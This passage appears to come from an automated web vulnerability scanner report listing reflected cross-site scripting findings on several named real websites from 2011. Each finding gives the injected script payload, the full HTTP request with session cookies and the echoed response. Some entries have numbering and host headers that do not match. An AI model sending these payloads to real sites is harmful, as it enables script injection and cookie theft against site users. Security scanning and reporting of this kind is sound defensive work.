Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:34:13 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static/css7b5f2"><script>alert(1)</script>5b2a9f4689f/splunkbase.css?v=02-15-10">
...[SNIP]...

4.176. http://splunkbase.splunk.com/static/css/splunkbase.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunkbase.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c02d"><script>alert(1)</script>545b7bade52 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/css/splunkbase.css6c02d"><script>alert(1)</script>545b7bade52?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:34:18 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web4
...[SNIP]...
<a href="/account:login/?return_to=/static/css/splunkbase.css6c02d"><script>alert(1)</script>545b7bade52?v=02-15-10">
...[SNIP]...

4.177. http://splunkbase.splunk.com/static/js/splunkbase.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/js/splunkbase.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 976f3"><script>alert(1)</script>920e718ec47 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static976f3"><script>alert(1)</script>920e718ec47/js/splunkbase.js HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:01:40 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static976f3"><script>alert(1)</script>920e718ec47/js/splunkbase.js">
...[SNIP]...

4.178. http://splunkbase.splunk.com/static/js/splunkbase.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/js/splunkbase.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a383a"><script>alert(1)</script>3669f449178 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/jsa383a"><script>alert(1)</script>3669f449178/splunkbase.js HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:01:47 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static/jsa383a"><script>alert(1)</script>3669f449178/splunkbase.js">
...[SNIP]...

4.179. http://splunkbase.splunk.com/static/js/splunkbase.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/js/splunkbase.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b609f"><script>alert(1)</script>aa589454ef5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/js/splunkbase.jsb609f"><script>alert(1)</script>aa589454ef5 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:01:55 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static/js/splunkbase.jsb609f"><script>alert(1)</script>aa589454ef5">
...[SNIP]...

4.180. http://tipd.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6785a"><script>alert(1)</script>ea5c679a90c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?6785a"><script>alert(1)</script>ea5c679a90c=1 HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=iakqfhjnk09ofmimslv6obkus5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: swcms_messages=a%3A1%3A%7Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%5C%22time%5C%22%3Bi%3A1296946884%3B%7D%7D; expires=Wed, 28-Mar-2012 15:01:24 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 93131

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<h
...[SNIP]...
<a href="/published/page/2/6785a"><script>alert(1)</script>ea5c679a90c/1">
...[SNIP]...

4.181. http://us.blackberry.com/eng/devices/blackberrytorch.jsp [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://us.blackberry.com
Path:	/eng/devices/blackberrytorch.jsp

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94178"><script>alert(1)</script>d0d62204af5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /eng/devices/94178"><script>alert(1)</script>d0d62204af5 HTTP/1.1
Host: us.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 05 Feb 2011 22:39:03 GMT
Date: Sat, 05 Feb 2011 22:39:03 GMT
Content-Length: 22981
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!
...[SNIP]...
<link rel="canonical" href="http://us.blackberry.com/smartphones/94178"><script>alert(1)</script>d0d62204af5/" />
...[SNIP]...

4.182. http://us.blackberry.com/smartphones/94178">aa4542fda85 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7d227'><script>alert(1)</script>33ee9042bc9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products7d227'><script>alert(1)</script>33ee9042bc9/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:44 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:44 GMT
Vary: Accept-Encoding
Content-Length: 4055
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products7d227'><script>alert(1)</script>33ee9042bc9/littlesnitch/download.html165b9'>
...[SNIP]...

4.313. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f551b'><script>alert(1)</script>12a83f74717 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitchf551b'><script>alert(1)</script>12a83f74717/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:44 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:44 GMT
Vary: Accept-Encoding
Content-Length: 4055
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/littlesnitchf551b'><script>alert(1)</script>12a83f74717/download.html165b9'>
...[SNIP]...

4.314. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aaa43'-alert(1)-'b0503c02c98 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))<aaa43'-alert(1)-'b0503c02c98/script>aa4542fda85 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 4025
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<aaa43'-alert(1)-'b0503c02c98/script>
...[SNIP]...

4.315. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8fb55'><script>alert(1)</script>ff7442838a6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitch/8fb55'><script>alert(1)</script>ff7442838a6/script>aa4542fda85 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 3925
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/littlesnitch/8fb55'><script>alert(1)</script>ff7442838a6/script>
...[SNIP]...

4.316. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload d37b6(a)1b76ab0a2c2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))<d37b6(a)1b76ab0a2c2/script>aa4542fda85 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:46 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:46 GMT
Vary: Accept-Encoding
Content-Length: 4007
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<d37b6(a)1b76ab0a2c2/script>
...[SNIP]...

4.317. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b5184(a)c1c1c8d7cc3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</b5184(a)c1c1c8d7cc3 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:48 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:48 GMT
Vary: Accept-Encoding
Content-Length: 3971
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
</b5184(a)c1c1c8d7cc3'>
...[SNIP]...

4.318. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46e98'-alert(1)-'64f6e4907a0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</46e98'-alert(1)-'64f6e4907a0 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:48 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:48 GMT
Vary: Accept-Encoding
Content-Length: 3989
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
</46e98'-alert(1)-'64f6e4907a0'>
...[SNIP]...

4.319. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload d354f<script>alert(1)</script>b91a43a6580 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85d354f<script>alert(1)</script>b91a43a6580 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:49 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:49 GMT
Vary: Accept-Encoding
Content-Length: 4051
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
</script>aa4542fda85d354f<script>alert(1)</script>b91a43a6580'>
...[SNIP]...

4.320. http://www.obdev.at/products/littlesnitch/download.html165b9'>aa4542fda85 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload fa328<script>alert(1)</script>66fb205d706 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

